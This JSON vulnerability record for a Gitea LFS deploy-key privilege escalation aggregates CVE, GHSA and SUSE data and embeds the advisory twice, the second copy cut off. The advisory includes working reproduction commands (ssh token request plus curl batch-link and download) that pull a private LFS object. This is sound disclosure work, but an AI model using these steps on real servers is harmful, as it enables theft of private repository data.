{"id":"CVE-2026-58435","aliases":["EUVD-2026-58162","GHSA-rh79-75qm-gwjr","GO-2026-6073","SUSE-SU-2026:23216-1","SUSE-SU-2026:23227-1","openSUSE-SU-2026:21551-1"],"status":"published","title":"Gitea LFS Deploy-Key Privilege Escalation","description":"Gitea LFS Deploy-Key Privilege Escalation","severity":{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N","level":"medium","assessor":"adp","from":"cve"},"epss":{"day":"2026-11-11","score":0.00294,"percentile":0.22282,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-266","CWE-639"],"published":"2026-07-21T21:00:51Z","modified":"2026-10-28T02:30:38Z","fixes":[{"ecosystem":"Go","package":"code.gitea.io/gitea","fixed_in":["1.27.0"],"sources":["ghsa","osv"]},{"ecosystem":"Go","package":"gitea.dev","fixed_in":["1.27.0"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"code.gitea.io/gitea","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.27.0"}]}]},{"source":"osv","ecosystem":"Go","package":"code.gitea.io/gitea","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.27.0"}]}]},{"source":"osv","ecosystem":"Go","package":"gitea.dev","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.27.0"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260727T201416-160000.1.1"}]}],"bundled":77},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260727T201416-160000.1.1"}]}],"bundled":77},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260727T201416-160000.1.1"}]}],"bundled":77},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260727T201416-160000.1.1"}]}],"bundled":77},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260727T201416-160000.1.1"}]}],"bundled":77}],"products":[{"vendor":"gitea","product":"gitea open source git server"}],"references":[{"url":"https://github.com/go-gitea/gitea/security/advisories/GHSA-rh79-75qm-gwjr","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://github.com/go-gitea/gitea/releases/tag/v1.27.0","tags":["release-notes","advisory","web"]},{"url":"https://blog.gitea.com/gitea-1.27.0-is-released/","tags":["release-notes","advisory"]},{"url":"https://github.com/advisories/GHSA-rh79-75qm-gwjr"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/58xxx/CVE-2026-58435.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-58435","tags":["advisory"]},{"url":"https://github.com/go-gitea/gitea","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623216-1/","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-2303","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-23603","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-24451","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25038","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-29181","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-30246","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-32952","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34783","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35204","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35205","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35206","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-37462","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39883","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-40611","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-40890","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41178","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41506","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41642","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41643","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42285","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42306","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42328","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42554","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42931","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44166","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44283","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44301","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44332","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44517","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44740","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44973","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45022","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45045","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45135","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45571","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46384","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46385","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48978","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49837","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49838","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50151","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50162","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50163","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50274","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52844","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52845","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52846","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53624","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54063","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54448","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55982","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55984","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55987","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56750","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58417","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58418","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58421","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58425","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58426","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58427","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58431","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58432","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58434","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58435","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58438","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58439","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58441","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58442","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58443","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58445","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58507","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-58510","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59766","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6993","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-7020","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-7482","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-8276","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623227-1/","tags":["advisory"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-58435","title":"Gitea LFS Deploy-Key Privilege Escalation","description":"Gitea LFS Deploy-Key Privilege Escalation","status":"published","published":"2026-08-13T16:44:51.733Z","modified":"2026-08-14T17:20:22.792Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N","level":"medium","assessor":"adp"}],"cwes":["CWE-266","CWE-639"],"updated_at":"2026-11-02T13:47:39.876248Z"}],"euvd":[{"id":"EUVD-2026-58162","description":"Gitea LFS Deploy-Key Privilege Escalation","status":"published","published":"2026-08-13T16:44:51Z","modified":"2026-08-14T17:20:22Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T18:01:53.90055Z"}],"ghsa":[{"id":"GHSA-rh79-75qm-gwjr","title":"Gitea LFS Deploy-Key Privilege Escalation","description":"## Vulnerability Header\n\n| Field               | Value                                                       |\n| ------------------- | ----------------------------------------------------------- |\n| Vulnerability Title | Gitea LFS Deploy-Key Privilege Escalation                   |\n| Severity Rating     | High                                                        |\n| Bug Category        | Insufficient Authorization                                  |\n| Location            | `services/lfs/server.go:268`, `routers/private/serv.go:275` |\n| Affected Versions   | 1.25.5                                                      |\n\n## Executive Summary\n\nGitea's LFS server (`services/lfs/server.go:268`) uses the `UserID` embedded in an LFS JWT to make cross-repository authorization decisions via `LFSObjectAccessible()`. This would be safe if the JWT `UserID` always matched the actual requesting principal — but for deploy keys, `routers/private/serv.go:275` sets `UserID = repo.OwnerID` instead of any identity representing the deploy key itself. As a result, an attacker who holds a write deploy key for any single repo owned by a victim can obtain a legitimate JWT (via the standard SSH `git-lfs-authenticate` flow) that Gitea will honor as if the victim themselves were making the request. The attacker can then exfiltrate LFS objects from any private repo the victim owns — no admin credentials, no server secrets, no brute force required. If the victim is a site administrator, every LFS object on the entire Gitea instance is reachable. Deploy keys exist precisely to grant narrow, single-repo access to CI/CD systems; this vulnerability defeats that isolation entirely for LFS data.\n\n## Root Cause Analysis\n\n### Technical Description\n\nThe vulnerability is a **trust-boundary confusion** across two independent subsystems. When a deploy key authenticates over SSH, `serv.go` sets `UserID = repo.OwnerID` because the code has no better representation for a deploy key identity (a `FIXME` comment acknowledges this). That `UserID` is baked verbatim into the LFS JWT by `cmd/serv.go`. The JWT is then consumed by `server.go`, which treats `claims.UserID` as the authenticated principal and loads that user object as `ctx.Doer`. When the batch upload handler encounters an object that exists on disk but isn't yet linked to the target repo, it calls `LFSObjectAccessible(ctx, ctx.Doer, oid)` — a global query across all repos the claimed user can see — to decide whether to silently create the cross-repo link. The JWT's `RepoID` claim is verified (so the request is correctly scoped to one repo at the HTTP level), but the `UserID` driving the cross-repo access decision is the repo *owner*, not the deploy key. The attacker ends up holding a valid, server-signed token that impersonates the victim for any LFS authorization check.\n\n### First Faulty Condition\n\nThe primary bug — where the JWT `UserID` is set incorrectly — is in `serv.go`:\n\n| File      | `routers/private/serv.go`                                                                         |\n| --------- | ------------------------------------------------------------------------------------------------- |\n| Line      | 275                                                                                               |\n| Condition | Deploy key branch sets `results.UserID = repo.OwnerID`; the owner's UID is embedded in the JWT and later used as the authenticated principal for cross-repo privilege decisions in `server.go:268` |\n\n```go\n// routers/private/serv.go:252–278\nif key.Type == asymkey_model.KeyTypeDeploy {\n    ...\n    // FIXME: Deploy keys aren't really the owner of the repo pushing changes\n    // however we don't have good way of representing deploy keys in hook.go\n    // so for now use the owner of the repository\n    results.UserName = results.OwnerName\n    results.UserID = repo.OwnerID    // ← OWNER's UID, not the deploy key\n    ...\n}\n```\n\nThe secondary bug — where the tainted `UserID` is actually misused — is in `server.go`:\n\n| File      | `services/lfs/server.go`                                                                                                                                         |\n| --------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| Line      | 268                                                                                                                                                              |\n| Condition | `LFSObjectAccessible(ctx, ctx.Doer, oid)` makes a cross-repo decision using the JWT `UserID`, which for deploy keys is the repo owner, not the deploy key holder |\n\n```go\n// services/lfs/server.go:267–275\nif exists \u0026\u0026 meta == nil {\n    accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)\n    ...\n    if accessible {\n        _, err := git_model.NewLFSMetaObject(ctx, repository.ID, p)  // links OID to attacker's repo\n        ...\n    }\n}\n```\n\n**Admin amplification:** if `victim.IsAdmin`, `models/git/lfs.go:226` short-circuits with a bare `COUNT(*)` over the entire `lfs_meta_object` table — no repo filter. A deploy key on any admin-owned repo reaches every LFS object on the instance.\n\n## Exploitability Assessment\n\n### Attack Vector \u0026 Reachability\n\n| Attack vector               | Network                                                                                            |\n| --------------------------- | -------------------------------------------------------------------------------------------------- |\n| Authentication required     | Low: attacker must hold a write deploy key's private key material for any of victim's repositories |\n| User interaction required   | None                                                                                               |\n| Reachable in default config | No. Requires `LFS_START_SERVER = true`                                                             |\n| Entry point(s)              | SSH `git-lfs-authenticate` command + HTTP LFS batch API                                            |\n\nThe practical exploitability of this vulnerability is constrained by a second prerequisite that is independent of the authorization bypass itself: the attacker must know the SHA-256 OID of a specific LFS object in the target repository. OIDs are 256-bit digests — not enumerable and not brute-forceable — and the LFS batch endpoint functions only as an existence oracle, not a listing mechanism. Successful exploitation therefore requires a prior information-disclosure path that exposes OIDs outside the repository boundary. Known paths include public forks that retain stale LFS pointer files in git history, former collaborators who retained object references from a prior `git pull`, and issue or pull request comments that reference pointer file contents. \n\nLFS pointer files are committed in plaintext to git history, so anyone who ever cloned or had read access to the target repo retains all OIDs permanently. The attack is effectively a **post-revocation persistence** primitive — after a collaborator loses access, they can continue downloading updated versions of LFS files they previously knew existed.\n### Reproduction Steps\n\n**Environment**\n\nThe issue was reproduced using `gitea/gitea:1.25.5` docker image. \n\n**Setup** (performed as victim/admin — represents normal deployment state)\n\n```bash\n# 1. Victim creates a private repo and uploads an LFS object\ngit clone http://victim:PASSWORD@localhost:3000/victim/secret-repo.git\ncd secret-repo\ngit lfs track \"*.bin\"\necho \"TOP SECRET: password is hunter2\" \u003e secret.bin\ngit add .gitattributes secret.bin \u0026\u0026 git commit -m \"secret\"\ngit push \u0026\u0026 git lfs push origin main\n\n# Note the OID and size from:\ngit lfs pointer --file=secret.bin\n# oid sha256:1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b\n# size 32\n\n# 2. Victim creates ci-repo and registers a write deploy key\n#    (via UI: ci-repo → Settings → Deploy Keys → Add Deploy Key → enable write access)\n#    Attacker holds the corresponding private key (e.g. leaked from CI config)\n```\n\n**Exploit**\n\n```bash\n# Step 1 — Obtain JWT via SSH using only the deploy key (no victim credentials)\nssh -i ~/.ssh/deploy_key -p 2222 git@localhost \\\n  \"git-lfs-authenticate victim/ci-repo upload\"\n# → {\"header\":{\"Authorization\":\"Bearer eyJ...\"},\"href\":\"...\"}\n# Decode payload: {\"RepoID\":3,\"Op\":\"upload\",\"UserID\":4,...}\n#                                              ^^^^^^^^ victim's UID — BUG\n\nJWT=\"eyJ...\"\nOID=\"1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b\"\nSIZE=32\n\n# Step 2 — Confirm attacker is blocked from secret-repo directly\ncurl -s -H \"Authorization: Bearer $JWT\" \\\n  \"http://localhost:3000/victim/secret-repo.git/info/lfs/objects/$OID\"\n# → {\"Message\":\"Unauthorized\"}  — correctly blocked\n\n# Step 3 — Batch upload to ci-repo claiming the secret OID\ncurl -s -X POST \\\n  -H \"Authorization: Bearer $JWT\" \\\n  -H \"Accept: application/vnd.git-lfs+json\" \\\n  -H \"Content-Type: application/vnd.git-lfs+json\" \\\n  \"http://localhost:3000/victim/ci-repo.git/info/lfs/objects/batch\" \\\n  -d \"{\\\"operation\\\":\\\"upload\\\",\\\"transfers\\\":[\\\"basic\\\"],\\\"objects\\\":[{\\\"oid\\\":\\\"$OID\\\",\\\"size\\\":$SIZE}]}\"\n# → {\"objects\":[{\"oid\":\"1d4fed...\",\"size\":32}]}  — NO \"actions\" field\n#   server silently linked the OID to ci-repo without demanding proof of possession\n\n# Step 4 — Download the secret via ci-repo\ncurl -s -H \"Authorization: Bearer $JWT\" \\\n  \"http://localhost:3000/victim/ci-repo.git/info/lfs/objects/$OID\"\n# → TOP SECRET: password is hunter2\n```\n\n**Expected output**\n\n```\nStep 2:  {\"Message\":\"Unauthorized\"}          ← blocked from secret-repo\nStep 3:  {\"objects\":[{\"oid\":\"1d4fed...\",\"size\":32}]}  ← no actions = silently linked\nStep 4:  TOP SECRET: password is hunter2     ← exfiltrated via ci-repo\n```\n\n**PoC files**\n\n- [poc.sh](https://github.com/user-attachments/files/28830752/poc.sh) — end-to-end PoC using real SSH deploy key\n\n## Recommended Fix\n\nA proper fix might require significant architecture change. A short term recommendation is presented below:\n\n**Fix 1 — `services/lfs/server.go:267` (defense in depth, immediately effective)**\n\nRemove the `LFSObjectAccessible` cross-repo shortcut. Require proof of possession (the normal upload flow) for any object not already linked to the target repo. The JWT is correctly scoped to one `RepoID`; authorization decisions about *other* repos should not be made using the JWT `UserID`.\n```go\n// BEFORE (vulnerable):\nif exists \u0026\u0026 meta == nil {\n    accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)\n    if err != nil {\n        log.Error(\"Unable to check if LFS MetaObject [%s] is accessible: %v\", p.Oid, err)\n        writeStatus(ctx, http.StatusInternalServerError)\n        return\n    }\n    if accessible {\n        _, err := git_model.NewLFSMetaObject(ctx, repository.ID, p)\n        if err != nil {\n            log.Error(\"Unable to create LFS MetaObject [%s] for %s/%s. Error: %v\", p.Oid, rc.User, rc.Repo, err)\n            writeStatus(ctx, http.StatusInternalServerError)\n            return\n        }\n    } else {\n        exists = false\n    }\n}\n```\n\n```go\n// After (safe):\nif exists \u0026\u0026 meta == nil {\n    // Do not use ctx.Doer for cross-repo decisions — the JWT only authorizes\n    // access to this repo. Always require proof-of-possession for objects\n    // not already linked here.\n    exists = false\n}\n```\n\nThe client will re-upload the bytes (which are hash-verified). \nPerformance cost: one redundant upload per cross-repo object. Security gain: the cross-repo trust boundary is enforced regardless of how the JWT was issued.\n\nFull patch: [fix1.patch](https://github.com/user-attachments/files/28830753/fix1.patch)\n\n**Fix 2 — `routers/private/serv.go:275` (fix the source)**\n\nStop embedding `repo.OwnerID` in the JWT for deploy keys. Options:\n- Add a `DeployKeyID` field to the JWT `Claims` struct; teach `handleLFSToken` to construct a minimal synthetic principal with exactly the deploy key's permissions (single-repo, mode-limited).\n- Or mint a separate JWT type for deploy keys that `server.go` treats as repo-scoped only, refusing to use it for cross-repo operations.\n\nPatch provenance: AI-generated + Human-reviewed\n\n## Attribution\n\nThis vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.\n\nFor CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research.","status":"published","published":"2026-07-21T21:00:51Z","modified":"2026-07-21T21:00:53Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-266","CWE-639"],"updated_at":"2026-11-02T14:40:50.444681Z"}],"nvd":[{"id":"CVE-2026-58435","description":"Gitea LFS Deploy-Key Privilege Escalation","status":"published","published":"2026-08-13T17:17:27.49Z","modified":"2026-08-26T16:53:48.3Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-266","CWE-639"],"updated_at":"2026-11-02T14:12:37.557758Z"}],"osv":[{"id":"CVE-2026-58435","title":"Gitea LFS Deploy-Key Privilege Escalation","description":"Gitea LFS Deploy-Key Privilege Escalation","status":"published","published":"2026-08-13T16:44:51.733Z","modified":"2026-10-28T02:30:38.788966214Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-266","CWE-639"],"updated_at":"2026-11-02T15:45:12.496548Z"},{"id":"GHSA-rh79-75qm-gwjr","title":"Gitea LFS Deploy-Key Privilege Escalation","description":"## Vulnerability Header\n\n| Field               | Value                                                       |\n| ------------------- | ----------------------------------------------------------- |\n| Vulnerability Title | Gitea LFS Deploy-Key Privilege Escalation                   |\n| Severity Rating     | High                                                        |\n| Bug Category        | Insufficient Authorization                                  |\n| Location            | `services/lfs/server.go:268`, `routers/private/serv.go:275` |\n| Affected Versions   | 1.25.5                                                      |\n\n## Executive Summary\n\nGitea's LFS server (`services/lfs/server.go:268`) uses the `UserID` embedded in an LFS JWT to make cross-repository authorization decisions via `LFSObjectAccessible()`. This would be safe if the JWT `UserID` always matched the actual requesting principal — but for deploy keys, `routers/private/serv.go:275` sets `UserID = repo.OwnerID` instead of any identity representing the deploy key itself. As a result, an attacker who holds a write deploy key for any single repo owned by a victim can obtain a legitimate JWT (via the standard SSH `git-lfs-authenticate` flow) that Gitea will honor as if the victim themselves were making the request. The attacker can then exfiltrate LFS objects from any private repo the victim owns — no admin credentials, no server secrets, no brute force required. If the victim is a site administrator, every LFS object on the entire Gitea instance is reachable. Deploy keys exist precisely to grant narrow, single-repo access to CI/CD systems; this vulnerability defeats that isolation entirely for LFS data.\n\n## Root Cause Analysis\n\n### Technical Description\n\nThe vulnerability is a **trust-boundary confusion** across two independent subsystems. When a deploy key authenticates over SSH, `serv.go` sets `UserID = repo.OwnerID` because the code has no better representation for a deploy key identity (a `FIXME` comment acknowledges this). That `UserID` is baked verbatim into the LFS JWT by `cmd/serv.go`. The JWT is then consumed by `server.go`, which treats `claims.UserID` as the authenticated principal and loads that user object as `ctx.Doer`. When the batch upload handler encounters an object that exists on disk but isn't yet linked to the target repo, it calls `LFSObjectAccessible(ctx, ctx.Doer, oid)` — a global query across all repos the claimed user can see — to decide whether to silently create the cross-repo link. The JWT's `RepoID` claim is verified (so the request is correctly scoped to one repo at the HTTP level), but the `UserID` driving the cross-repo access decision is the repo *owner*, not the deploy key. The attacker ends up holding a valid, server-signed token that impersonates the victim for any LFS authorization check.\n\n### First Faulty Condition\n\nThe primary bug — where the JWT `UserID` is set incorrectly — is in `serv.go`:\n\n| File      | `routers/private/serv.go`                                                                         |\n| --------- | ------------------------------------------------------------------------------------------------- |\n| Line      | 275                                                                                               |\n| Condition | Deploy key branch sets `results.UserID = repo.OwnerID`; the owner's UID is embedded in the JWT and later used as the authenticated principal for cross-repo privilege decisions in `server.go:268` |\n\n```go\n// routers/private/serv.go:252–278\nif key.Type == asymkey_model.KeyTypeDeploy {\n    ...\n    // FIXME: Deploy keys aren't really the owner of the repo pushing changes\n    // however we don't have good way of representing deploy keys in hook.go\n    // so for now use the owner of the repository\n    results.UserName = results.OwnerName\n    results.UserID = repo.OwnerID    // ← OWNER's UID, not the deploy key\n    ...\n}\n```\n\nThe secondary bug — where the tainted `UserID` is actually misused — is in `server.go`:\n\n| File      | `services/lfs/server.go`                                                                                                                                         |\n| --------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| Line      | 268                                                                                                                                                              |\n| Condition | `LFSObjectAccessible(ctx, ctx.Doer, oid)` makes a cross-repo decision using the JWT `UserID`, which for deploy keys is the repo owner, not the deploy key holder |\n\n```go\n// services/lfs/server.go:267–275\nif exists \u0026\u0026 meta == nil {\n    accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)\n    ...\n    if accessible {\n        _, err := git_model.NewLFSMetaObject(ctx, repository.ID, p)  // links OID to attacker's repo\n        ...\n    }\n}\n```\n\n**Admin amplification:** if `victim.IsAdmin`, `models/git/lfs.go:226` short-circuits with a bare `COUNT(*)` over the entire `lfs_meta_object` table — no repo filter. A deploy key on any admin-owned repo reaches every LFS object on the instance.\n\n## Exploitability Assessment\n\n### Attack Vector \u0026 Reachability\n\n| Attack vector               | Network                                                                                            |\n| --------------------------- | -------------------------------------------------------------------------------------------------- |\n| Authentication required     | Low: attacker must hold a write deploy key's private key material for any of victim's repositories |\n| User interaction required   | None                                                                                               |\n| Reachable in default config | No. Requires `LFS_START_SERVER = true`                                                             |\n| Entry point(s)              | SSH `git-lfs-authenticate` command + HTTP LFS batch API                                            |\n\nThe practical exploitability of this vulnerability is constrained by a second prerequisite that is independent of the authorization bypass itself: the attacker must know the SHA-256 OID of a specific LFS object in the target repository. OIDs are 256-bit digests — not enumerable and not brute-forceable — and the LFS batch endpoint functions only as an existence oracle, not a listing mechanism. Successful exploitation therefore requires a prior information-disclosure path that exposes OIDs outside the repository boundary. Known paths include public forks that retain stale LFS pointer files in git history, former collaborators who retained object references from a prior `git pull`, and issue or pull request comments that reference pointer file contents. \n\nLFS pointer files are committed in plaintext to git history, so anyone who ever cloned or had read access to the target repo retains all OIDs permanently. The attack is effectively a **post-revocation persistence** primitive — after a collaborator loses access, they can continue downloading updated versions of LFS files they previously knew existed.\n### Reproduction Steps\n\n**Environment**\n\nThe issue was reproduced using `gitea/gitea:1.25.5` docker image. \n\n**Setup** (performed as victim/admin — represents normal deployment state)\n\n```bash\n# 1. Victim creates a private repo and uploads an LFS object\ngit clone http://victim:PASSWORD@localhost:3000/victim/secret-repo.git\ncd secret-repo\ngit lfs track \"*.bin\"\necho \"TOP SECRET: password is hunter2\" \u003e secret.bin\ngit add .gitattributes secret.bin \u0026\u0026 git commit -m \"secret\"\ngit push \u0026\u0026 git lfs push origin main\n\n# Note the OID and size from:\ngit lfs pointer --file=secret.bin\n# oid sha256:1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b\n# size 32\n\n# 2. Victim creates ci-repo and registers a write deploy key\n#    (via UI: ci-repo → Settings → Deploy Keys → Add Deploy Key → enable write access)\n#    Attacker holds the corresponding private key (e.g. leaked from CI config)\n```\n\n**Exploit**\n\n```bash\n# Step 1 — Obtain JWT via SSH using only the deploy key (no victim credentials)\nssh -i ~/.ssh/deploy_key -p 2222 git@localhost \\\n  \"git-lfs-authenticate victim/ci-repo upload\"\n# → {\"header\":{\"Authorization\":\"Bearer eyJ...\"},\"href\":\"...\"}\n# Decode payload: {\"RepoID\":3,\"Op\":\"upload\",\"UserID\":4,...}\n#                                              ^^^^^^^^ victim's UID — BUG\n\nJWT=\"eyJ...\"\nOID=\"1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b\"\nSIZE=32\n\n# Step 2 — Confirm attacker is blocked from secret-repo directly\ncurl -s -H \"Authorization: Bearer $JWT\" \\\n  \"http://localhost:3000/victim/secret-repo.git/info/lfs/objects/$OID\"\n# → {\"Message\":\"Unauthorized\"}  — correctly blocked\n\n# Step 3 — Batch upload to ci-repo claiming the secret OID\ncurl -s -X POST \\\n  -H \"Authorization: Bearer $JWT\" \\\n  -H \"Accept: application/vnd.git-lfs+json\" \\\n  -H \"Content-Type: application/vnd.git-lfs+json\" \\\n  \"http://localhost:3000/victim/ci-repo.git/info/lfs/objects/batch\" \\\n  -d \"{\\\"operation\\\":\\\"upload\\\",\\\"transfers\\\":[\\\"basic\\\"],\\\"objects\\\":[{\\\"oid\\\":\\\"$OID\\\",\\\"size\\\":$SIZE}]}\"\n# → {\"objects\":[{\"oid\":\"1d4fed...\",\"size\":32}]}  — NO \"actions\" field\n#   server silently linked the OID to ci-repo without demanding proof of possession\n\n# Step 4 — Download the secret via ci-repo\ncurl -s -H \"Authorization: Bearer $JWT\" \\\n  \"http://localhost:3000/victim/ci-repo.git/info/lfs/objects/$OID\"\n# → TOP SECRET: password is hunter2\n```\n\n**Expected output**\n\n```\nStep 2:  {\"Message\":\"Unauthorized\"}          ← blocked from secret-repo\nStep 3:  {\"objects\":[{\"oid\":\"1d4fed...\",\"size\":32}]}  ← no actions = silently linked\nStep 4:  TOP SECRET: password is hunter2     ← exfiltrated via ci-repo\n```\n\n**PoC files**\n\n- [poc.sh](https://github.com/user-attachments/files/28830752/poc.sh) — end-to-end PoC using real SSH deploy key\n\n## Recommended Fix\n\nA proper fix might require significant architecture change. A short term recommendation is presented below:\n\n**Fix 1 — `services/lfs/server.go:267` (defense in depth, immediately effective)**\n\nRemove the `LFSObjectAccessible` cross-repo shortcut. Require proof of possession (the normal upload flow) for any object not already linked to the target repo. The JWT is correctly scoped to one 